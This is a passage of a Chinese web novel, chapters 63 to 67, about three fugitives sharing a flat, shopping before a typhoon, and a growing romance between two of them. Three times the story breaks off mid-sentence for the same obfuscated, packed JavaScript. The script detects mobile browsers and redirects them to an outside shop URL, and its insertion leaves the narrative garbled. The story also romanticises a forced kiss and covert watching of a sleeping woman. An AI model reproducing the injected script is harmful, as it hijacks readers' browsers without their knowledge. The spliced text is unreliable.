“你们都醒了?来吃早餐吧。”祝译心情很好,她哼着歌把早餐都端上来,槐翎早就猜到会有什么东西摆在桌上,她不慌不慌地拿出一杯果汁放在自己手边,然后自然地坐在主位。 苍恃刚洗漱完出来,原本充满期待地坐在中间,然而在看到桌面上都有些什么东西后,他的表情很明显僵住了。 “快吃吧,一会我去买菜。”祝译看着迟迟没有动手的二人,用温柔又如同恶鬼一样的眼神看着他们。 槐翎先给自己灌了一口果汁,然后才像英勇就义一般闭眼塞了一块泛着绿色的炒蛋,她吃得又快又多,竟然没几分钟就吃完了。 苍恃忍着想要吐出来的冲动,见槐翎这么勇猛,自己也学着她闭眼塞进嘴巴里。 “好像蜂蜜放多了些…”祝译一边细细咀嚼着,一边回想自己的菜谱,“明天我再改良下配方。” “我做吧,以后都我做,行吗?”苍恃捂着嘴巴说,两滴冷汗流了下来,如果不是他意志力强大,恐怕现在已经倒下了。 槐翎什么话都没说,她用果汁漱口去掉嘴巴里的怪味,优雅地用餐巾纸擦了擦嘴角,而后她酝酿已久的话语终于说了出来。 “我们搬家吧。” “为什么?”“啊?”祝译和苍恃都纷纷转头看向她。 “这房子太小了,我住不习惯,再租一套有三个卧室的吧。” 说完,她用充满期待的的眼神看向祝译,她头一次这么希望得到祝译的认可。 “可是,这个房子住得也挺舒服的。”没想到祝译撇了撇嘴,没有注意槐翎投来的眼神,“而且周围也很方便,我都跟菜市场的大姨混熟了,她说以后我去买菜都给打折。” 槐翎握紧了拳头,只好看向苍恃,这对他来说也是一件好事,总不能一直睡沙发不是? “我倒是无所谓。”苍恃说道,“你们要搬要留都行。” “你要是一直睡沙发,那对身体太不好了。”槐翎笑眯眯地看着他,用着前所未有的甜美声线为他解释睡沙发的不好,苍恃还没听过她这么说话,耳朵悄悄地变红了。 “睡沙发是不好。”祝译点头,“那你俩一起睡不就好了,那床不都是一米八宽的吗,睡三个人都行。” 槐翎捏紧了手里的叉子,如果不是……算了,现在她就想把叉子塞祝译嘴里。 “啊,这不好吧?”苍恃的脸也变红了。 64. 第 64 章 不过祝译还是提出来圈一块地给苍恃做私人空间,两个人就这么一起出门去采购了,槐翎懒得和他们一起折腾,自己躺在沙发上看起电视。 她是不高兴自己的提案没有同意的,只能用行动表达自己的不满。 电视正在放老旧俗套的电视剧,两个人正在里面吵架。 槐翎看了十分钟都觉得自己的人生被浪费了,怎么会有这样故意制造冲突,又不让角色说出真相的情节啊? 她越看越觉得不高兴,感觉自己的情绪都被带动得要别扭起来了。 正巧大门处传来开门的声音,祝译和其他人有说有笑地聊天,她真是跟谁都聊得起来,过了一会两个人提着大包小包进来了。 “那个就是邻居了,很热心的一个老人家。”祝译说。 “看得出来了,不过妹夫是指谁啊?”苍恃点头。 “你啊。”祝译把买来的蔬菜放在桌面上,她满头是汗,显然外面很热。 “啊?”苍恃又不明白了。 “那是我妹。”祝译用下巴指了指躺在那里的槐翎,“这是设定,懂吗?” “这不太好吧…”苍恃有些尴尬不敢看槐翎。 “你快别偷笑了,帮我把东西收拾下。”祝译用手肘顶了下他背,苍恃这才乖巧地跟她进了厨房收拾。 槐翎把电视的声音弄小了些,“你们刚才在说什么悄悄话?” “没有!”祝译回话。 在充分领教过祝译的厨艺后,苍恃主动担起了做饭的活,槐翎心想自己这段噩梦一般的日子终于结束了。 想到午饭食欲都变得好了些,她早早就坐在餐桌旁等着。 没过多久,苍恃和祝译端了好几份开胃的凉菜出来,光是看了就觉得食欲大开。 祝译还没吃过他做的菜,才尝了一口就赞不绝口,槐翎只默默吃着,她吃饭速度很快,很快就解决了自己的份。 “还要吗?”苍恃看了眼槐翎的空碗,以前槐翎吃饭的分量不大,他是按照以前的分量做的。 槐翎坐在那里想了一会,还是把碗递了过去。 “啊?你以前从来都不加的!”祝译有些不满的看着槐翎,“你是不是觉得我做的菜不好吃?” “我从来没说过。”槐翎不敢看祝译的眼睛,生怕又惹她不开心。 苍恃把装满了的碗放回原位,槐翎只低头吃着,不再有别的话。 “对了,”苍恃随便找了个话题,“祝译还有和纪栖联系吗?” 他这个话题找得不好,两个人的身体都有了一瞬间的僵直,原本轻松的气氛都变得凝重起来。 “他要是联系不上你应该会担心吧?”苍恃全然没有注意到,他继续说了下去,还是槐翎看不下去,用脚尖踢了一下他小腿。 “没关系。”祝译放下勺子,她挤出一个温和的笑容,正襟危坐,在喝了一口冰水后,她把来龙去脉和苍恃说了一遍。 苍恃的表情从疑惑,到震惊,到愤怒,到悲伤没花多长时间,最后他只剩下来沉默。 这不算什么愉快的过去,整个餐桌的氛围都变得了沉重起来。 槐翎其实也不太乐意提起纪栖,她拿了罐冰饮料,重新坐下来灌了一大口。 又沉默了一会后,槐翎皱起眉头看向苍恃,“不对啊,你怎么认识的纪栖?” 那会苍恃还在住院,好像纪栖也没怎么进去看过他,槐翎还是没多嘴说出来。 “哦,之前我们出去玩的时候碰巧遇到了。”祝译倒是没什么影响到心情,她边说边拿出自己的个人手机,因为太久没使用,她还得重新开机。 “还是在看完电影后遇到的,然后我们四个就一起去吃饭了。”祝译说完就在手机翻了起来,苍恃越听越不对劲,他立马站起来要去抢祝译的手机。 “四个?”槐翎歪头看向祝译。 “不行。”苍恃的动作很快,他一把夺过祝译的手机,又因为他举起手来,祝译站起来也够不着。 “你急什么?”槐翎伸手轻松地从另一边拿走手机,把手机还给了祝译。 “就是,你不是对人家没意思吗?”祝译瞪了他一眼,把手机屏幕展示给槐翎看,槐翎定睛一看就发现四个人站在落地窗前,每个人都笑得挺开心的,包括苍恃。 “这个女的……”槐翎皱起眉头努力搜寻她的名字,但是怎么都想不起来,在照片里她依偎在苍恃的身侧,看上去很是亲密。 槐翎突然感觉到有些不舒服了,她的心脏像是被人用手捏了一把,但她不明白这种感受,于是嘴角的笑容稍微淡了一些,她抬眼看向一脸慌张的苍恃,说出的话里也多了几分讽刺。 “怎么,你不敢带出来介绍一下?” “不是这样的。”苍恃皱着眉头,他想解释,又不知道该从哪里说起,他是不想让槐翎看到那张合照,又不觉得自己和温蓓有什么超乎友谊的关系。 “她叫什么名字?”槐翎又问。 “温蓓,你应该见过的。”苍恃目不斜视,他的身体绷得紧紧的,就像被教官问话一样紧张。 “不认识,我应该认识吗?”槐翎的笑容冷了下去,祝译听出了些不对劲,她悄悄把手机收了起来,又后退了几步,把战场留给他们两个。 “我去洗碗……”她声音很小,赶紧抱着碗进厨房。 “她之前和槐雾交往过。”苍恃不敢有隐瞒,他已经把自己知道的都说出来了,然而槐翎看上去还是没有半点善罢甘休的意思。 “那又如何?”槐翎抱着手臂,她自己都没发现,此时自己的表情要多吓人就有吓人,如果手边有什么东西,恐怕现在已经砸过去了。 “你听我解释。”苍恃连忙走过去,他挠了挠头,大脑却是一片空白,什么话都想不出来。 槐翎轻嗤一声,“有什么好解释的,不就是个合照。” 对啊,不就是一个合照,可是她为什么会觉得不开心呢? “我和她不是那种关系。”苍恃伸手握住槐翎的手腕,他的手心湿湿的,在碰到槐翎的时候,槐翎想要甩开,却被他死死抓着。 槐翎咬着牙瞪他,“关我什么事?” “我和她没来往了。”苍恃可怜巴巴地解释,另一只手悄无声息地攀上了槐翎的后背,下一秒槐翎只觉得有一股力把她往苍恃的怀里按去,她完全没注意到,迎面撞上了他的胸膛,她睁大了眼睛想要挣扎,却感觉到苍恃的嘴巴靠近了她的耳垂。 他声音很低,槐翎却能感受到声音传递过来的震动,他眼里竟是充满了欣喜,因为高兴,他的嘴角微微上扬。 “你是在在意我吗?”他试探性地问,语气里充满了卑微至极的揣摩,又像是害怕会错意,他移开了目光,生怕被槐翎窥探到内心最深处的想法。 槐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732563|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翎的鼻间充斥着他的沐浴露味道,准确来说是他们的沐浴露,是带有橙花油的沐浴露,味道不浓但存在感强,她感觉这味道让她头晕目眩,槐翎往日里的理智都在这瞬间抛在了脑后。 “不行?”她说话的尾调上扬,似是小猫一样勾得人心痒痒。 苍恃感觉自己从脖子到脸都被这句话勾得通红,他动动嘴唇,什么话都吐不出来,他紧紧抱着槐翎,尽管在炎炎夏日,他都没有放开的打算。 祝译蹲在厨房里好一会,她已经把碗洗了两遍,但是总不能在这个时候出去,于是她叹了口气,又开始洗第三遍,实在不行就把天花板也擦一擦得了。 * 槐翎现在只好躲在阳台上抽烟,她满脸忧愁,抽烟也排解不了内心的慌乱。 不就是一张合照,她不该有什么反应的。 现在好了,槐翎自己都觉得尴尬得要命。 她不是什么十来岁的小孩,早就知道什么是情爱了,毕竟小时候她还缠着纪栖玩过家家,说过要嫁给他这样的话。她要是再这样装不懂下去,恐怕只会惹一大堆麻烦出来。 她现在没什么余裕去考虑这些事情,男人什么的,等她坐在那个位置要多少就有多少,可是她就是觉得很烦。 槐翎从小时候起就知道要伪装,可以说她的人生就是在无数的谎言中建立起来的,她可以继续装,但很显然有人正在逼她,逼她说出心里话,又逼得她无处可逃。 谁又能想到五年后竟然会变成这样呢?和她争锋相对的祝译成为了一起活动的同伴,被她算计的苍恃也为了她没了半条命。 命运真是爱捉弄人,槐翎自觉自己不是什么好人,却偏偏有人要弄得自己一身伤口也要凑上来。 ……她突然觉得,现在这样也挺好的。 这个念头很可怕,槐翎惊出了一身冷汗,她连忙熄灭手里的烟,看来安逸会吞噬一个人的意志,这才多久槐翎就已经变得懒惰了。 夏天的风吹来,黏黏腻腻的,槐翎没有了抽烟的心思。 晚饭是在沉默中吃完的,祝译小心地观察两个人的表情,一个还在傻乐,一个满脸沉重,显然不在同一个频道上。 吃完后槐翎主动提起要洗碗,祝译脑筋一转也跟着一起洗碗。 在狭窄的厨房里站着两个人显然有些拥挤了。 “其实纪栖是我的初恋。”祝译一边擦去污渍,一边说起自己的事情来,槐翎没有回应,只有开着的水龙头流出的水声充斥在厨房里。 “直到现在我都没办法去恨他,但是理智告诉我,像他这样的人确实不是什么好人,不过我真的控制不了。” “不过我也不后悔亲手杀了他,因为我知道,他如果还活着只会继续伤害我们。” “我杀他,和我还爱着他,这两件事并不冲突。” 槐翎的手停了下来,她扭过头去看祝译,不知道何时开始,祝译已经泪流满面,但她依旧面带微笑,其实人是可以带着笑容哭泣的。 “现在的你是怎么想的呢?” “我不懂你的意思。”槐翎把碗碟沥干,她面无表情,但祝译知道刚才说的话她应该是听进去一些了。 “没什么。”祝译摇头,她身上的负担太重,一时半会也不可能讲得通。 毕竟那是笨拙的,不愿相信他人的,没有安全感的,害怕受伤的,同样胆小的槐翎。 65. 第 65 章 渐渐的,槐翎也习惯外面沙发上有个人了,她不得不把门锁打开,这样才能方便去上洗手间。 槐翎始终觉得这不对劲,但是她提出来的意见都被通通驳回。 不过也好在苍恃包揽了家务活,槐翎才能继续安心使用自己的洗手间,尤其是当她看到桌面上并排放着的牙刷时。 非常的怪异,非常的令她感到不适应。 夏天的天气稍微要恶劣一些,经常会有狂风暴雨,这栋楼虽然总体质量还可以,但街道上时常有积水,也会影响到车库的安全,为此祝译曾多次提出要一次性采购多点食物做储备。 电视上正在播报后天会有台风,这个台风预计会是今年最强劲的台风,呼吁市民做好准备。 槐翎快热死了,这闷热的天气让她心情也跟着不好起来。 在A区没有台风,也没有狂风暴雨,天气都是人工调节的,温度更加不会超过30℃,以前她在C区那会顾着四处奔走,也没注意过什么天气。 虽然空调已经在长期运行,槐翎还是喝了一肚子冰水,又因为出汗过多一天洗两次澡。 苍恃和祝译倒是挺习惯的,他们不懂为什么槐翎会这么燥热,看到她这副样子,祝译只好提议说一起出门逛逛,反正也是要采购的。 槐翎难得地同意了,她戴了个短头发的假发做伪装,看上去清爽不少。离他们的安全屋大约半个小时的车程有一个大型的批发式超市,可以买到很多食物,苍恃显然对C区很熟悉,他负责开车,槐翎坐在副驾驶。 祝译被分配到后座,其实更宽敞些,她这会在列清单,生怕自己忘记要买的东西。 到了目的地后,祝译直接推了两个购物车过来,“我去买生鲜,你们去买生活用品,这里人太多了,我们分头行动更好。” “行。”槐翎拿过她列好的清单,她不是喜欢在这种事情上费时间的人,能一下子买完对大家都好。 苍恃自然而然就跟在她后面了,其实生鲜那边更需要帮忙,但是祝译经验丰富,愣是一个人推着车消失在人海里了。 槐翎按照清单上的内容,把沐浴露洗发水和洗衣液都依次放进推车里,她和旁边那些还要对比货物的人不同,目光坚定得像是在完成任务。 苍恃负责推车,槐翎把清单拿在手上,他也不知道该买些什么好,于是眼睛就四处乱看,看着槐翎面无表情地拿着一堆洗洁精过来的时候,他不自觉地笑出了声音。 槐翎白了他一眼,知道这是在笑话她。 “别愣着,清单分你一半。”槐翎爽快地把清单撕开,把另一半塞在苍恃的手里,其实超市里人确实很多,地方又很大,几个货架走下来确实累人。 苍恃听话地对照清单去买东西,没过多久车子就堆满了。 几分钟后槐翎气喘吁吁地从人群里挤了出来,她出了一身汗,头发也变乱了,手里抱着两箱果汁,显然是经历过一场战斗。 “这地方怎么那么多人?下次我再也不来了,尤其是……”槐翎絮絮叨叨地说着自己的不满,苍恃只看见她的嘴巴一张一合,一根发丝被她含了进去,而她浑然不觉。 苍恃伸手替她拿了出来,一根湿润的发丝缠绕在他的食指上。 “……你到底有没有在听我说话?”槐翎都要气炸了,都什么时候了还拿什么头发! “听到了。”苍恃笑眯眯地回话,“下次我来就行。” “这还差不多。”槐翎气消了。 等到车上都装满了的时候,清单上的东西也选好了,他们两个停在结账柜台那里等祝译过来。 只不过因为大家都在抢购,柜台旁边也显得格外拥挤,而且他们没在排队,只能眼睁睁看着被挤得越来越远。 槐翎忍不住了,她让苍恃赶紧打电话给祝译。 苍恃拿着手机等了半天,祝译也还没接,要么就是还在买东西没空看手机,要么就是东西太多腾不出手,总之现在没有人知道祝译什么情况。 “这位小哥能不能让一下,我要拿后面的蛋糕。”一个中年阿姨走了过来,她指了指苍恃身后的冰柜,笑眯眯的,但是眼神很是凌厉,苍恃只好又往旁边挤了一点。 后面又来了好多人来拿蛋糕,店员一边来上货,一边就有人来拿,这个冰柜显然成为了下一个热门地。 他们两个没办法,只好找了个人较少的角落待着,久违的是槐翎露出了彷徨的表情。 她是很少来这种地方的,首先是不喜欢人太多,其次在A区她动动手指什么都送上来了,人家还能帮她洗好装好放冰箱里,哪里还有时间要自己去买的,这对她而言不仅是身体上的挑战,对精神也有极大的影响。 苍恃等的有些无聊了,眼睛又开始四处乱看,心里还在想着这一片怎么没人,抬眼就看见身后一大排的成-人-用品。 显然槐翎没有注意到,她站在货架的正中间,人在发呆,目光涣散,哪里还顾得上周围有什么,苍恃心里却不淡定了,他强行让自己目不斜视,两个人就这么正对着眼前的空地,带着一车的生活用品站在那里等着。 “他们两个站那里好久了吧……真是的,要挑那么仔细哦?”路过的几个老人家捂着嘴讨论了起来。 “小夫妻不都这样过来的,以前我买的时候还看错尺寸了呢。” 他们说话的声音不大,但槐翎听了个一清二楚,她回过神来看了下后面的货架,被入目的照片惊到了。 她自己都觉得有些不好意思,连忙推车走了。 等重新回到柜台的时候,苍恃一眼就看到在冰柜里拿蛋糕的祝译,而且在看到祝译的那一瞬间,二人都露出了犹如看见救世主的表情。 “你们都买完了?”祝译问,打量着车上的东西,她记性好,扫了一遍就知道东西都没缺。 “对,我们快走吧。”槐翎是等不下去了,她只好催促祝译赶紧去结账。 其实祝译还没买够,但看着两个人精神萎靡,还是决定放过他们,就这样推着两大车东西去结账了。 队伍很长,槐翎一直紧紧盯着工作人员的手去看她的结账速度,她眼睛都不眨,生怕错过了一点。 “买了什么?”苍恃好奇地和祝译搭话,她车上的基本都是些肉类,还有各种新鲜的蔬菜水果,都整整齐齐地码好分门别类地放着,和另一个推车上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737134|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌乱是截然不同。 “本来我还想买个西瓜,不过没抢到,夏天了还是得吃西瓜。”祝译有些惋惜地说道。 苍恃看了一眼队伍,还很长,工作人员的动作也不快。 “我去拿。”他很快就下了判断。 祝译这话还没说完,她其实还有个牛排也没拿到,转念一想,她把自己的推车交给了槐翎去看守。 “什么?你们还要买?”槐翎感觉自己像是听错了,但是祝译已经一溜烟跑了,她现在也不可能退出队伍,毕竟队伍已经长得看不见尽头了。 槐翎只好耐心等着,反正这个工作人员的动作很慢,不对。 她分明看见一个工作人员拿着文件走过来,他和原来的工作人员交谈了一下,就接过了手里的工作,然后跟变魔术一样,他的手部速度几乎是上一个人的两倍! 不过几分钟就已经给一个客人结好帐了。 槐翎看着队伍逐步往前走去,心里多出了几分不安。 按照这个速度,恐怕在他们回来之前就会排到槐翎,到时候她是要厚着脸皮拖延时间,还是退出队伍让给后面的人…… 槐翎不敢细想,她感觉汗珠从背后滑了下来,眼看着队伍越来越短,那工作人员就跟机器人一样快速地完成工作,他脸上的游刃有余和槐翎脸上的慌张不安形成了鲜明的对比。 她觉得每一步都走得很沉重,心里不断地在思考解决方案,要不干脆就这么结账了先走吧,他们晚了只能重新排队……不行,那她岂不是要一个人在外面等,这样浪费的时间更多,要不就先让后面的人先结账吧,可是这得让多少才够,这天下从来只有别人让她的份,她绝对不能咽下这口气。 槐翎不断回头看后面的情况,这两个人还没回来,她急得深呼吸数次,眼睛不断往后面张望,她从来没有那么期待过能看见祝译和苍恃,现在是巴不得这两人就在自己身边。 队伍再次往前移动,已经到槐翎的推车了,她特意放慢了速度,想要把东西一件一件往柜台上面放去,但是工作人员如同恶鬼一般阻止了她。 “你不用管,我在这里能录入。”他的手指灵活地在机器上面操作,槐翎看见屏幕上的列表越来越长,她只感觉头晕目眩。 一车很快就扫完了,还有下一车,槐翎认命地把车推过来,马上就到结账的环节了,槐翎简直没有脸面去面对后面在排队的人和工作人员。 “来了来了!”祝译看到了正在结账的槐翎,她嗓门大,惹得所有人都回头看去,她扛着两大盒牛排走了过来,苍恃拿了个西瓜在后面,他们又往车上加了些,工作人员眼皮都没抬一下,就加上了新添加的商品,大手一挥把金额展示给槐翎看。 槐翎看向祝译,祝译看向苍恃,苍恃又看向槐翎,三个人不断交换眼神,却没有一个人在行动。 “我今天没带钱。”祝译先反应过来。 “我卡都被冻结了。”苍恃也这么说。 工作人员用冷漠的眼神看向槐翎,她压下心里的不满与怒火,从口袋里拿出信用卡。 结完账后槐翎是跑得最快的,她啥也不想拿,只想赶紧逃离这里。 66. 第 66 章 台风和预计的一样来了。 街道上已经没有人在行走,商户也关门不营业,明明还是白天,天空却黑压压的一片看不见一丝阳光。 祝译把全屋的灯光都开了,她不喜欢室内黑乎乎的样子,又把窗帘全部打开,反而更增添了几分恶劣天气的气氛。 槐翎不被允许到阳台那里去,想抽烟又抽不得。 她的自尊心也不允许自己躲到洗手间里抽,这会烟瘾犯了,手老是不由自主地往口袋的烟盒里摸。 祝译正坐在她对面看书,见她动来动去这心神不宁的模样,提出让她去厨房帮帮忙。 槐翎还是第一次听说自己能去厨房帮忙,她不会做饭,洗碗也是随便洗的,要让她帮忙那还不如送她上战场,起码能杀几个人。 “你去洗个菜也行,没看到我俩忙活一天了吗,你总不能白吃不干吧?” 槐翎看着祝译,只能忍了又忍,怎么不说这帐还是她结的呢? 不过她也确实需要转移下注意力,于是在思考了片刻后她钻进厨房,看着苍恃站在里面已有一个上午,她敲了敲厨房门,苍恃这才发现她进来了。 “嗯?”苍恃面带微笑看着她。 “我来帮忙。” 苍恃怀疑自己听错了,他盯着槐翎看了一会,见槐翎还站在那里不动,看来是来真的。 他环顾四周,买回来的食材都随意地扔在一边,他这会正在腌制肉类,能让槐翎帮的忙恐怕只有清理一下食材。 “那来切菜。”他习惯提前把菜都切好放冰箱保存,这样能大大节约备菜的时间,只要处理得当,蔬菜也能保存很久。 而且他想的是,槐翎那么会用刀,拿来切菜应该也不在话下。 槐翎挑眉,从旁边拿了把刀和砧板,学着记忆里做菜的样子,她拿起一个胡萝卜就往中间劈去,胡萝卜分开了两半,砧板也快分成两半了。 “……”苍恃忍了忍还是没说话,他摘下手套,从旁边拿了个围裙替槐翎穿好,然后自己也拿了一把菜刀,在旁边给槐翎打了个样。 槐翎盯着他的手看了好一会,大概是记住要怎么发力了,然后也跟着他开始切胡萝卜,虽然形状不够好看,但起码比刚刚要好些。 “还行吧。”槐翎自满地观赏自己的作品,和旁边打的样相比虽然不太一样,不过槐翎觉得自己也挺不错了。 苍恃只笑着看她,没有多说,这会又重新戴上手套给肉抹酱料。 “这些胡萝卜都切了吧,还有西瓜也要切出来,这样要吃的时候就很方便了。” 毕竟以前拿起刀来都是要捅人的,要切什么蔬菜还是第一次,槐翎觉得切切蔬菜什么的也挺解压,于是就接受了这个任务,她全神贯注地去切胡萝卜,看着旁边堆砌起来的红色小山,她甚至觉得这些数量不够她玩。 在苍恃的指示下,她拿盒子把胡萝卜都装了进来,在装了三大盒之后她又把胡萝卜搬运进冰箱,冰箱里已经放着好多不同颜色的盒子了,上面都用标签写着日期。槐翎再回头看厨房,只觉得腾了不少空间出来。 她把西瓜放了上来,苍恃没有说怎么弄,于是她凭着自己的本能,把刀捅入西瓜的中间,捅进去的手感特别像捅人的身体。 红色的西瓜汁顺着刀口流了一地,苍恃刚刚才整理完地上的土豆,这会看着地上黏黏糊糊的果汁差点两眼一黑。 “我来。”他来到槐翎身后,另一只手拿过槐翎的刀,顺着刚才的刀口把西瓜劈开,露出了红彤彤的瓜肉,而且还是无籽的,槐翎这会觉得有些渴了,看见这样的西瓜没忍住吞了吞唾沫。 苍恃自然是听见了,他用刀尖剜了最中间的瓜肉下来,这一块最甜,汁水也是最多的,他用干净的手拿着瓜肉,就这么送入槐翎的口中。 槐翎本来还觉得哪里不对劲,但是注意力又全被这口瓜肉吸引了,冰镇后的西瓜真的是夏天最美好的存在,咬在嘴巴里甜滋滋的,因为烟瘾犯了的不快也都在吃到这块瓜肉后全部消失了。 “再来一块。”槐翎口齿不清地说道,苍恃选了一块也是靠近瓜心位置的瓜肉剜下来,等到槐翎吞下去西瓜后又递到她嘴边。 她侧头咬下西瓜,也就在这时她抬眼便看见了苍恃充满了笑意的眼神,他正低头看着槐翎,不知不觉中,苍恃就这么圈着她在桌子旁边,而她竟然浑然不知。 槐翎下意识要后退离开这个怀抱,却只感觉到背后传来了吓人的温度,她只穿了件背心,肩头是露在外面的,两个人的肌肤就这么贴在一起,槐翎在意识到这一点后瞬间起了一身鸡皮疙瘩。 “不吃了?”苍恃的身体并未移动半分,他就这么站着,把自己的身躯压下来,右手还拿着刀。 “不吃了。”槐翎压下自己狂乱的心跳,她避开苍恃那直白的目光,伸手要去解身上的围裙,但是她不知道苍恃是怎么打的结,她越是想要解开就绑得越紧。 外面传来了打雷的声音,看样子马上就要开始下雨。 苍恃放下刀,极有耐心地把槐翎制造的死结通通打开,他的指尖很热,又时不时会不经意地碰到槐翎的指尖,槐翎低头等待他解开,而他的呼吸就这么落在她的脖子上,热热的,让她很想去挠痒。 身上的围裙一松,槐翎终于能够脱下围裙,她转过身去就想离开这狭窄的厨房,苍恃却依旧维持原来的姿势,没有半分离开的意思。 她用力推了一把,但苍恃纹丝不动。 她有些生气了,抬头看向苍恃,只见他脸上没有笑意,眼睛死死盯着她的脸,深邃的眼睛里都是看不清的情绪。 “让开。”槐翎皱起眉头,她又用手臂推了一下,但只换来他的再一步得寸进尺。 槐翎不知道的是,现在苍恃满眼都只有她一张一合的嘴唇,她的嘴唇是玫瑰色的,在吃了西瓜后,浑身都散发着西瓜的香味,又显得水润润的,她越是说话,苍恃的自控力越是减少一分。 “你是听不见我说话还是怎么……”槐翎气极了,她抬腿就想给苍恃来一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741460|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然而下一秒她看见苍恃的脸在自己面前放大,她的嘴唇贴到了冰冷但柔-软的东西,她还没看清是什么,就感觉到有什么撬开了她的牙齿,肆意又霸道地在她口腔里攻城略地。 “唔!”她震惊地想要躲开,却被人死死地按着头,她被迫抬头接受这个吻,这个吻并不温柔,可以拿粗-暴来形容,她却想不起来把嘴巴合上,也想不起来自己还有那尖锐的牙齿,就这么无知地全盘接受。 槐翎在不知不觉中用力地拽着苍恃的衣服,他同样穿着一件背心,背心不厚,都快要被她拽得变形,露出了一片布满疤痕的皮肤。 她的身体被压得后仰,在品尝唇齿间的西瓜味时仿佛能看见盛开的夏天,苍恃觉得就在那一瞬间自己所有的理智都消失了,槐翎一定会很生气的,但是他无法把这个念头抛之脑后,身体比起大脑动作要更快些,几乎是本能一般,他强-吻了槐翎。 西瓜掉在地上,洒落了一地的瓜肉和果汁,在厨房里的两个人却像什么都听不见,他们的身体紧紧贴在一起,口-舌-交-缠,疯狂跳动的心脏快要跳出胸腔,身体也自然地分-泌出汗-水,两个人都湿-淋-淋的。 在炎热的台风天里,在快要窒息的时候,槐翎终于挣脱掉身上的束缚,她气喘吁吁单手撑在桌子上,两颊通红,头发凌乱地披散着,眼睛半睁,她的嘴唇还有些发-麻,大脑正在努力跟上现状,此刻只余下二人的喘-息-声在狭小的空间里。 苍恃依旧站着,他舔了舔嘴唇,似是还在品味余-韵,不断起伏的胸膛暴露了他的内心想法。 槐翎看着他的舌头滑过那同样水润的嘴唇,他的唇大小适中,不会太薄也不会太厚,嘴角还是微微上扬的。 她第一次明白了什么是性-感。 不是只有脱光了才是性-感,而是一种感觉。 苍恃的喉结滑动了一下,他用指腹拭去嘴角的水渍,眼里是抹不开的情-欲,往日里温和的脸绷得紧紧的,毫无疑问他是爱着槐翎的,既然如此,一个吻又怎么足够? 恐怕槐翎也抱有同感,但她不喜欢把主动权交出去,无论什么事情,她都希望能够成为主导的一人,尤其是现在。 槐翎抓着他的衣服领口,逼迫他再次伏了下来,而后槐翎闭眼主动迎了上去,她学习能力很强,只要试上那么一两次就能摸到诀窍。 苍恃自然不会拒绝,他也闭上眼睛全身心去体会被引导的快乐。 他用手背垫着槐翎的腰,生怕她被桌子弄疼了腰上的肉,手指却不听话地伸进衣服的底-下,摸着她滑-腻的肌肤,槐翎感觉不到他那放-肆的手-指,只用双手勾着他脖子全心全意地享受这个吻。 雨滴打在玻璃窗上,发出滴滴答答的声音,酝酿了一上午的暴雨终于降下,狂风骤雨盖住了厨房里旖-旎的声音。 西瓜汁流了一地,把原本干净的地板弄得黏黏糊糊的,祝译抬头看了眼流出来的西瓜汁,只默默叹了口气。 这西瓜她还没吃上呢…… 67. 第 67 章 下了将近一天一夜的雨,温度也终于回归正常水平。 狂风吹得窗户呼呼作响,祝译最近很有眼力见,除了必要时候都不会出现在公共区域。 她躲在自己的房间里沉浸在看书之中,无论外面有什么声音,她都不会去看不会去听。 这两个人显然有些失控了,祝译虽然面上嫌弃,心里还是赞许的,反正他们两个只要开心,做点双方都喜欢的事情,那也是人之常情。 她也是恋爱过的人,知道荷尔蒙上头是怎么一回事。 但祝译心里也是有些担心的,毕竟有一个人很明显只是在贪图□□上的美好,另外一个人确实全身心投入进去了。 祝译叹了口气,手指翻过一页书,真是甜蜜的烦恼啊…… 漆黑的夜里,苍恃推开虚掩的门,他的脚步很轻,似是一阵风吹过,和他高大的身躯完全不符合。 他来到槐翎的床边,看着她沉睡的模样,现在的槐翎看上去恬静的很,月光落在她的床边,衬得她更是美丽得不像是凡间的人类。 他这几天一直在偷偷记住槐翎生活的规律,槐翎睡眠很浅,而且长期处于警戒状态,很少有深度睡眠的时候,一旦深度睡眠后也很容易惊醒,在她睡觉的时候她会抓着一把刀,那把刀就藏在她的手腕下面,其次在她的枕头下面有一把手枪,是上膛了的。 她还在床的背面粘了一把□□,紧急情况可以拿到并且清除近距离的敌人,子弹则是塞在各种各样的角落里,只有苍恃找不到的,没有槐翎想不到的。 她非常缺乏安全感,所以逼迫自己精神高度集中。 而且在被迫打开门锁的时候,那几天她甚至没有睡觉,有了非常明显的焦虑症状,一天能抽两包烟。 最后她似乎是找到什么排解的法子,现在起码能睡一会了。 但是时间也很短,苍恃计算过,大约是在一个小时到两个小时,一般两个小时后她就会醒来,并且会在房间内进行训练,确保身体时刻处于最佳状态。 